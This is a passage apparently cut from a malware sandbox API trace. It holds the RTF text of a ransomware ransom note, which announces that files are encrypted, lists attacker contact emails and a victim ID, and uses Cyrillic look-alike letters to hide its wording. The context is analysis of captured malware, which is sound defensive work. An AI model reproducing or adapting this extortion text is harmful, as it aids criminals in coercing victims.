m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 